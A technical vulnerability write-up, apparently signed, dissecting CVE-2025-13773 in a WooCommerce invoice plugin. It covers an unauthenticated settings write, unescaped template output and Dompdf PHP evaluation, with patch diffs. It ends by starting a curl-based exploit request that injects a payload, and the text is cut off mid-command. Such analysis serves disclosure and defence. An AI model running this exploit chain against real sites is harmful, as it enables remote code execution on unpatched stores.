-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256
NEFARIOUSPLAN-CANONICAL-V1
{"body_md":"## The first flag: admin_init runs before the auth check\n\n`wp-admin/admin-post.php` is one of two endpoints in a stock WordPress install that an unauthenticated POST request can reach without being redirected to the login page. The other is `wp-admin/admin-ajax.php`. Loading either file runs `wp-load.php`, sets `WP_ADMIN`, and reaches `do_action( 'admin_init' )` before any check on the caller's identity. The admin_init hook is the firing pin for any function registered against it. WordPress core does not treat admin_init as a privileged callback registry; the contract is that handlers attached here run when these files load, and these files load for any visitor.\n\nPrint Invoice & Delivery Notes for WooCommerce 5.8.0 registers its settings-form handler against this hook. From `includes/class-woocommerce-delivery-notes.php` line 347:\n\n```php\nadd_action( 'admin_init', array( $this, 'update' ) );\n```\n\nThe handler is `WooCommerce_Delivery_Notes::update`. The 5.8.0 implementation opens with no capability check and no nonce verification. It seeds option defaults, processes a logo upload, then reaches `$_POST` and starts writing:\n\n```php\nif ( isset( $_POST['invoice'] ) && ! empty( $_POST['invoice'] ) ) {\n update_option( 'wcdn_invoice_customization', $_POST['invoice'] );\n}\nif ( isset( $_POST['receipt'] ) && ! empty( $_POST['receipt'] ) ) {\n update_option( 'wcdn_receipt_customization', $_POST['receipt'] );\n}\nif ( isset( $_POST['deliverynote'] ) && ! empty( $_POST['deliverynote'] ) ) {\n update_option( 'wcdn_deliverynote_customization', $_POST['deliverynote'] );\n}\n```\n\nThere is no `current_user_can` on this code path. There is no `wp_verify_nonce`. The function reads `$_POST['invoice']`, an arbitrary attacker-supplied nested array, and persists it into the WordPress options table under the key `wcdn_invoice_customization`. The patch for CVE-2025-13773 adds four guards at the top of `update()`:\n\n```diff\n public function update() {\n+ // Admin Permission check.\n+ if ( ! is_admin() ) {\n+ return;\n+ }\n+ if ( ! current_user_can( 'manage_options' ) ) {\n+ return;\n+ }\n+ if ( ! isset( $_POST['wcdn_general_settings_nonce'] ) ) {\n+ return;\n+ }\n+ $nonce = sanitize_text_field( wp_unslash( $_POST['wcdn_general_settings_nonce'] ) );\n+ if ( ! wp_verify_nonce( $nonce, 'wcdn_general_settings_action' ) ) {\n+ return;\n+ }\n```\n\nFour checks. The load-bearing one is `current_user_can( 'manage_options' )`. The other three are defense in depth. None of the four existed before the patch.\n\n## The second flag: the linter said `esc_attr`, ninety-nine times\n\nThe option `wcdn_invoice_customization` is read by `templates/pdf/simple/invoice/template.php` at line 19:\n\n```php\n\n```\n\n`$data` is now whatever the attacker POSTed. The template builds an inline `style` attribute by string concatenation, then echoes the result into the HTML the renderer parses. The relevant block at line 35:\n\n```php\nif ( isset( $data['document_setting']['active'] ) ) {\n $style = 'font-size:' . $data['document_setting']['document_setting_font_size']\n . 'px; text-align:' . $data['document_setting']['document_setting_text_align']\n . '; color:' . $data['document_setting']['document_setting_text_colour'] . ';';\n ?>\n
\n
\">\n```\n\n`echo $style` with no `esc_attr`. The trailing comment, `// phpcs:ignore`, is a directive to the WordPress Coding Standards static analyzer. The default WPCS ruleset includes `WordPress.Security.EscapeOutput`, which fires on exactly this construct: a raw `echo` of an externally-sourced string into an HTML context. The bare-directive form, `// phpcs:ignore` with no rule name, is a wildcard. It silences every WPCS rule that would otherwise emit on the line.\n\nA grep across the templates that ship in 5.8.0:\n\n```\ntemplates/pdf/simple/invoice/template.php:16\ntemplates/pdf/simple/receipt/template.php:16\ntemplates/pdf/simple/deliverynote/template.php:16\ntemplates/print-order/simple/invoice/print-content.php:16\ntemplates/print-order/simple/receipt/print-content.php:16\ntemplates/print-order/simple/deliverynote/print-content.php:16\ntemplates/pdf/default/invoice/template.php:1\ntemplates/pdf/default/receipt/template.php:1\ntemplates/pdf/default/deliverynote/template.php:1\n```\n\nNinety-nine directives. Each one silences whatever WPCS was about to say on a line that echoes attacker-reachable option data into HTML. The 5.9.0 patch walks every one of them, wraps the echoed value in `esc_attr`, and leaves the directive in place:\n\n```diff\n-\">\n+\">\n```\n\nThe `phpcs:ignore` is now functionally redundant because `esc_attr` is the call WPCS was asking for. The directive stays in the patched file. The codebase is now consistent with the analyzer's recommendation and is still carrying ninety-nine artifacts of the period when it wasn't.\n\n## The third flag: Dompdf, PHP execution enabled, by choice\n\nThe PDF renderer the templates feed is Dompdf, vendored at `includes/front/vendor/dompdf/dompdf/`. Dompdf's `Options` class declares a property called `isPhpEnabled` at line 184 of `src/Options.php`:\n\n```php\nprivate $isPhpEnabled = false;\n```\n\nThe default is false. The lines immediately above the property are Dompdf's own documentation of why:\n\n```php\n/**\n * ...\n * This setting may increase the risk of system exploit. Do not change\n * this settings without understanding the consequences. Additional\n * documentation is available on the dompdf wiki at:\n * https://github.com/dompdf/dompdf/wiki\n */\n```\n\nThe Dompdf comment block on the next property, `isRemoteEnabled`, is more explicit. Line 192 onward:\n\n```php\n/**\n * ==== IMPORTANT ====\n * This can be a security risk, in particular in combination with isPhpEnabled and\n * allowing remote html code to be passed to $dompdf = new DOMPDF(); $dompdf->load_html(...);\n * This allows anonymous users to download legally doubtful internet content which on\n * tracing back appears to being downloaded by your server, or allows malicious php code\n * in remote html pages to be executed by your server with your account privileges.\n */\n```\n\nThe text reads as if it were written for this CVE specifically. The combination it warns against, `isPhpEnabled` with `isRemoteEnabled` and attacker-controlled HTML passed to `loadHtml`, is the combination the plugin instantiates. The warning ships inside the plugin's own filesystem at `includes/front/vendor/dompdf/dompdf/src/Options.php`, the same tree as the code that opts in.\n\nThe opt-in is `wcdn-front-function.php` line 30:\n\n```php\nfunction create_pdf( $order, $type ) {\n $order_id = $order->get_id();\n\n $options = new \\Dompdf\\Options();\n $options->set( 'isRemoteEnabled', true );\n $options->set( 'isPhpEnabled', true );\n $dompdf = new Dompdf( $options );\n // ...\n $dompdf->loadHtml( $html );\n $dompdf->setPaper( 'A4', 'potrait' );\n $dompdf->render();\n```\n\nThree configuration lines, in this order: instantiate `Options`, set `isRemoteEnabled` to `true`, set `isPhpEnabled` to `true`. Each one moves a Dompdf default from safe to unsafe. The two flips together are the pair the Dompdf comment block names by hand.\n\nWhat happens when both are set and the document contains a `` node is `PhpEvaluator.php` line 52:\n\n```php\npublic function evaluate($code, $vars = [])\n{\n if (!$this->_canvas->get_dompdf()->getOptions()->getIsPhpEnabled()) {\n return;\n }\n\n $pdf = $this->_canvas;\n $fontMetrics = $pdf->get_dompdf()->getFontMetrics();\n $PAGE_NUM = $pdf->get_page_number();\n $PAGE_COUNT = $pdf->get_page_count();\n\n foreach ($vars as $k => $v) {\n $$k = $v;\n }\n\n eval($code);\n}\n```\n\nThe function checks one option. If the option is true, it calls `eval` on the node's text. The plugin set the option to true.\n\nThe patch for CVE-2025-13773 changes one character on the third line of `create_pdf`:\n\n```diff\n $options = new \\Dompdf\\Options();\n $options->set( 'isRemoteEnabled', true );\n-$options->set( 'isPhpEnabled', true );\n+$options->set( 'isPhpEnabled', false );\n```\n\n`isRemoteEnabled` stays `true`. The Dompdf comment block warning about the combination still ships, in the same file, in the same vendored directory.\n\n## The chain in two requests\n\nThe shortest path from the public homepage to `eval()` on the server is two HTTP requests.\n\nRequest one writes the payload into the database:\n\n```bash\ncurl -s -X POST 'https://target.example/wp-admin/admin-post.php' \\\n --data-urlencode 'action=anything' \\\n --data-urlencode 'invoice[document_setting][active]=1' \\\n --data-urlencode 'invoice[document_setting][document_setting_font_size]=14;}